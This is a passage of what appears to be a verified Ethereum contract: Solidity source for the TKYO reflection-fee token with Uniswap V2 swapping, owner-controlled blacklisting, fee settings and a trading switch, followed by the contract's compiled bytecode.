inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisT == 0 && _edistT == 0) return;
_previousredisT = _redisT;
_previousedistT = _edistT;
_redisT = 0;
_edistT = 0;
}
function restoreAllFee() private {
_redisT = _previousredisT;
_edistT = _previousedistT;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (from == uniswapV2Pair || to == uniswapV2Pair) {
require(tradingOpen, "Trading is not enabled yet");
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function launchTKYO() external onlyOwner() {
require(!tradingOpen, "trading is already started");
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisT, _edistT);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisT,
uint256 edistT
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisT).div(100);
uint256 tTeam = tAmount.mul(edistT).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function modredisT(uint256 redisT) external onlyOwner() {
require(redisT >= 0 && redisT <= 25, 'redisT should be in 0 - 25');
_redisT = redisT;
}
function modedistT(uint256 edistT) external onlyOwner() {
require(edistT >= 0 && edistT <= 25, 'edistT should be in 0 - 25');
_edistT = edistT;
}
}
|
0x6080604052600436106101385760003560e01c806370a08231116100ab5780638da5cb5b1161006f5780638da5cb5b146103e657806395d89b4114610411578063a9059cbb1461043c578063c3c8cd8014610479578063d543dbeb14610490578063dd62ed3e146104b95761013f565b806370a0823114610315578063715018a61461035257806372c23e75146103695780637d1db4a51461039257806381b517c7146103bd5761013f565b80631af15df1116100fd5780631af15df11461022b57806323b872dd14610242578063313ce5671461027f57806349bd5a5e146102aa5780636b999053146102d55780636fc3eaec146102fe5761013f565b8062b8cf2a1461014457806306fdde031461016d578063095ea7b3146101985780631694505e146101d557806318160ddd146102005761013f565b3661013f57005b600080fd5b34801561015057600080fd5b5061016b600480360381019061016691906124ac565b6104f6565b005b34801561017957600080fd5b50610182610620565b60405161018f9190612875565b60405180910390f35b3480156101a457600080fd5b506101bf60048036038101906101ba919061246c565b61065d565b6040516101cc919061283f565b60405180910390f35b3480156101e157600080fd5b506101ea61067b565b6040516101f7919061285a565b60405180910390f35b34801561020c57600080fd5b506102156106a1565b6040516102229190612a57565b60405180910390f35b34801561023757600080fd5b506102406106b0565b005b34801561024e57600080fd5b5061026960048036038101906102649190612419565b6107b2565b604051610276919061283f565b60405180910390f35b34801561028b57600080fd5b5061029461088b565b6040516102a19190612acc565b60405180910390f35b3480156102b657600080fd5b506102bf610894565b6040516102cc9190612824565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f7919061237f565b6108ba565b005b34801561030a57600080fd5b506103136109aa565b005b34801561032157600080fd5b5061033c6004803603810190610337919061237f565b610a1c565b6040516103499190612a57565b60405180910390f35b34801561035e57600080fd5b50610367610a6d565b005b34801561037557600080fd5b50610390600480360381019061038b91906124f5565b610bc0565b005b34801561039e57600080fd5b506103a7610cb0565b6040516103b49190612a57565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df91906124f5565b610cb6565b005b3480156103f257600080fd5b506103fb610da6565b6040516104089190612824565b60405180910390f35b34801561041d57600080fd5b50610426610dcf565b6040516104339190612875565b60405180910390f35b34801561044857600080fd5b50610463600480360381019061045e919061246c565b610e0c565b604051610470919061283f565b60405180910390f35b34801561048557600080fd5b5061048e610e2a565b005b34801561049c57600080fd5b506104b760048036038101906104b291906124f5565b610ea4565b005b3480156104c557600080fd5b506104e060048036038101906104db91906123d9565b610feb565b6040516104ed9190612a57565b60405180910390f35b6104fe611072565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610582906129b7565b60405180910390fd5b60005b815181101561061c576001600c60008484815181106105b0576105af612e38565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061061490612d91565b91505061058e565b5050565b60606040518060400160405280600b81526020017f546f6b796f6c796d706963000000000000000000000000000000000000000000815250905090565b600061067161066a611072565b848461107a565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b6106b8611072565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073c906129b7565b60405180910390fd5b601160149054906101000a900460ff1615610795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078c906128b7565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b60006107bf848484611245565b610880846107cb611072565b61087b8560405180606001604052806028815260200161323260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610831611072565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117299092919063ffffffff16565b61107a565b600190509392505050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108c2611072565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610946906129b7565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109eb611072565b73ffffffffffffffffffffffffffffffffffffffff1614610a0b57600080fd5b6000479050610a198161178d565b50565b6000610a66600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611888565b9050919050565b610a75611072565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af9906129b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bc8611072565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4c906129b7565b60405180910390fd5b60008110158015610c67575060198111155b610ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9d906129f7565b60405180910390fd5b8060088190555050565b60125481565b610cbe611072565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906129b7565b60405180910390fd5b60008110158015610d5d575060198111155b610d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9390612977565b60405180910390fd5b8060098190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f544b594f00000000000000000000000000000000000000000000000000000000815250905090565b6000610e20610e19611072565b8484611245565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6b611072565b73ffffffffffffffffffffffffffffffffffffffff1614610e8b57600080fd5b6000610e9630610a1c565b9050610ea1816118f6565b50565b610eac611072565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f30906129b7565b60405180910390fd5b60008111610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7390612957565b60405180910390fd5b610fa96064610f9b8366038d7ea4c68000611b7e90919063ffffffff16565b611bf990919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610fe09190612a57565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e190612a37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561115a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115190612917565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112389190612a57565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ac90612a17565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612897565b60405180910390fd5b60008111611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f906129d7565b60405180910390fd5b611370610da6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113de57506113ae610da6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561166657601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114e157601160149054906101000a900460ff166114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d7906128d7565b60405180910390fd5b5b6012548111156114f057600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115945750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61159d57600080fd5b60006115a830610a1c565b905060125481106115b95760125490505b601160159054906101000a900460ff161580156116245750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561163c5750601160169054906101000a900460ff165b156116645761164a816118f6565b60004790506000811115611662576116614761178d565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061170d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171757600090505b61172384848484611c43565b50505050565b6000838311158290611771576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117689190612875565b60405180910390fd5b50600083856117809190612c6e565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6117dd600284611bf990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611808573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611859600284611bf990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611884573d6000803e3d6000fd5b5050565b60006006548211156118cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c6906128f7565b60405180910390fd5b60006118d9611c70565b90506118ee8184611bf990919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561192e5761192d612e67565b5b60405190808252806020026020018201604052801561195c5781602001602082028036833780820191505090505b509050308160008151811061197457611973612e38565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1657600080fd5b505afa158015611a2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a4e91906123ac565b81600181518110611a6257611a61612e38565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ac930601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461107a565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b2d959493929190612a72565b600060405180830381600087803b158015611b4757600080fd5b505af1158015611b5b573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611b915760009050611bf3565b60008284611b9f9190612c14565b9050828482611bae9190612be3565b14611bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be590612997565b60405180910390fd5b809150505b92915050565b6000611c3b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c9b565b905092915050565b80611c5157611c50611cfe565b5b611c5c848484611d41565b80611c6a57611c69611f0c565b5b50505050565b6000806000611c7d611f20565b91509150611c948183611bf990919063ffffffff16565b9250505090565b60008083118290611ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd99190612875565b60405180910390fd5b5060008385611cf19190612be3565b9050809150509392505050565b6000600854148015611d1257506000600954145b15611d1c57611d3f565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b600080600080600080611d5387611f7c565b955095509550955095509550611db186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e928161208c565b611e9c8483612149565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ef99190612a57565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b60008060006006549050600066038d7ea4c680009050611f5266038d7ea4c68000600654611bf990919063ffffffff16565b821015611f6f5760065466038d7ea4c68000935093505050611f78565b81819350935050505b9091565b6000806000806000806000806000611f998a600854600954612183565b9250925092506000611fa9611c70565b90506000806000611fbc8e878787612219565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061202683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611729565b905092915050565b600080828461203d9190612b8d565b905083811015612082576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207990612937565b60405180910390fd5b8091505092915050565b6000612096611c70565b905060006120ad8284611b7e90919063ffffffff16565b905061210181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61215e82600654611fe490919063ffffffff16565b6006819055506121798160075461202e90919063ffffffff16565b6007819055505050565b6000806000806121af60646121a1888a611b7e90919063ffffffff16565b611bf990919063ffffffff16565b905060006121d960646121cb888b611b7e90919063ffffffff16565b611bf990919063ffffffff16565b90506000612202826121f4858c611fe490919063ffffffff16565b611fe490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122328589611b7e90919063ffffffff16565b905060006122498689611b7e90919063ffffffff16565b905060006122608789611b7e90919063ffffffff16565b905060006122898261227b8587611fe490919063ffffffff16565b611fe490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006122b56122b084612b0c565b612ae7565b905080838252602082019050828560208602820111156122d8576122d7612e9b565b5b60005b8581101561230857816122ee8882612312565b8452602084019350602083019250506001810190506122db565b5050509392505050565b60008135905061232181613203565b92915050565b60008151905061233681613203565b92915050565b600082601f83011261235157612350612e96565b5b81356123618482602086016122a2565b91505092915050565b6000813590506123798161321a565b92915050565b60006020828403121561239557612394612ea5565b5b60006123a384828501612312565b91505092915050565b6000602082840312156123c2576123c1612ea5565b5b60006123d084828501612327565b91505092915050565b600080604083850312156123f0576123ef612ea5565b5b60006123fe85828601612312565b925050602061240f85828601612312565b9150509250929050565b60008060006060848603121561243257612431612ea5565b5b600061244086828701612312565b935050602061245186828701612312565b92505060406124628682870161236a565b9150509250925092565b6000806040838503121561248357612482612ea5565b5b600061249185828601612312565b92505060206124a28582860161236a565b9150509250929050565b6000602082840312156124c2576124c1612ea5565b5b600082013567ffffffffffffffff8111156124e0576124df612ea0565b5b6124ec8482850161233c565b91505092915050565b60006020828403121561250b5761250a612ea5565b5b60006125198482850161236a565b91505092915050565b600061252e838361253a565b60208301905092915050565b61254381612ca2565b82525050565b61255281612ca2565b82525050565b600061256382612b48565b61256d8185612b6b565b935061257883612b38565b8060005b838110156125a95781516125908882612522565b975061259b83612b5e565b92505060018101905061257c565b5085935050505092915050565b6125bf81612cb4565b82525050565b6125ce81612cf7565b82525050565b6125dd81612d1b565b82525050565b60006125ee82612b53565b6125f88185612b7c565b9350612608818560208601612d2d565b61261181612eaa565b840191505092915050565b6000612629602383612b7c565b915061263482612ebb565b604082019050919050565b600061264c601a83612b7c565b915061265782612f0a565b602082019050919050565b600061266f601a83612b7c565b915061267a82612f33565b602082019050919050565b6000612692602a83612b7c565b915061269d82612f5c565b604082019050919050565b60006126b5602283612b7c565b91506126c082612fab565b604082019050919050565b60006126d8601b83612b7c565b91506126e382612ffa565b602082019050919050565b60006126fb601d83612b7c565b915061270682613023565b602082019050919050565b600061271e601a83612b7c565b91506127298261304c565b602082019050919050565b6000612741602183612b7c565b915061274c82613075565b604082019050919050565b6000612764602083612b7c565b915061276f826130c4565b602082019050919050565b6000612787602983612b7c565b9150612792826130ed565b604082019050919050565b60006127aa601a83612b7c565b91506127b58261313c565b602082019050919050565b60006127cd602583612b7c565b91506127d882613165565b604082019050919050565b60006127f0602483612b7c565b91506127fb826131b4565b604082019050919050565b61280f81612ce0565b82525050565b61281e81612cea565b82525050565b60006020820190506128396000830184612549565b92915050565b600060208201905061285460008301846125b6565b92915050565b600060208201905061286f60008301846125c5565b92915050565b6000602082019050818103600083015261288f81846125e3565b905092915050565b600060208201905081810360008301526128b08161261c565b9050919050565b600060208201905081810360008301526128d08161263f565b9050919050565b600060208201905081810360008301526128f081612662565b9050919050565b6000602082019050818103600083015261291081612685565b9050919050565b60006020820190508181036000830152612930816126a8565b9050919050565b60006020820190508181036000830152612950816126cb565b9050919050565b60006020820190508181036000830152612970816126ee565b9050919050565b6000602082019050818103600083015261299081612711565b9050919050565b600060208201905081810360008301526129b081612734565b9050919050565b600060208201905081810360008301526129d081612757565b9050919050565b600060208201905081810360008301526129f08161277a565b9050919050565b60006020820190508181036000830152612a108161279d565b9050919050565b60006020820190508181036000830152612a30816127c0565b9050919050565b60006020820190508181036000830152612a50816127e3565b9050919050565b6000602082019050612a6c6000830184612806565b92915050565b600060a082019050612a876000830188612806565b612a9460208301876125d4565b8181036040830152612aa68186612558565b9050612ab56060830185612549565b612ac26080830184612806565b9695505050505050565b6000602082019050612ae16000830184612815565b92915050565b6000612af1612b02565b9050612afd8282612d60565b919050565b6000604051905090565b600067ffffffffffffffff821115612b2757612b26612e67565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b9882612ce0565b9150612ba383612ce0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612bd857612bd7612dda565b5b828201905092915050565b6000612bee82612ce0565b9150612bf983612ce0565b925082612c0957612c08612e09565b5b828204905092915050565b6000612c1f82612ce0565b9150612c2a83612ce0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c6357612c62612dda565b5b828202905092915050565b6000612c7982612ce0565b9150612c8483612ce0565b925082821015612c9757612c96612dda565b5b828203905092915050565b6000612cad82612cc0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d0282612d09565b9050919050565b6000612d1482612cc0565b9050919050565b6000612d2682612ce0565b9050919050565b60005b83811015612d4b578082015181840152602081019050612d30565b83811115612d5a576000848401525b50505050565b612d6982612eaa565b810181811067ffffffffffffffff82111715612d8857612d87612e67565b5b80604052505050565b6000612d9c82612ce0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dcf57612dce612dda565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f6564697374542073686f756c6420626520696e2030202d203235000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f7265646973542073686f756c6420626520696e2030202d203235000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f726573730000000000000000000000000000000000000000000000000000000060208201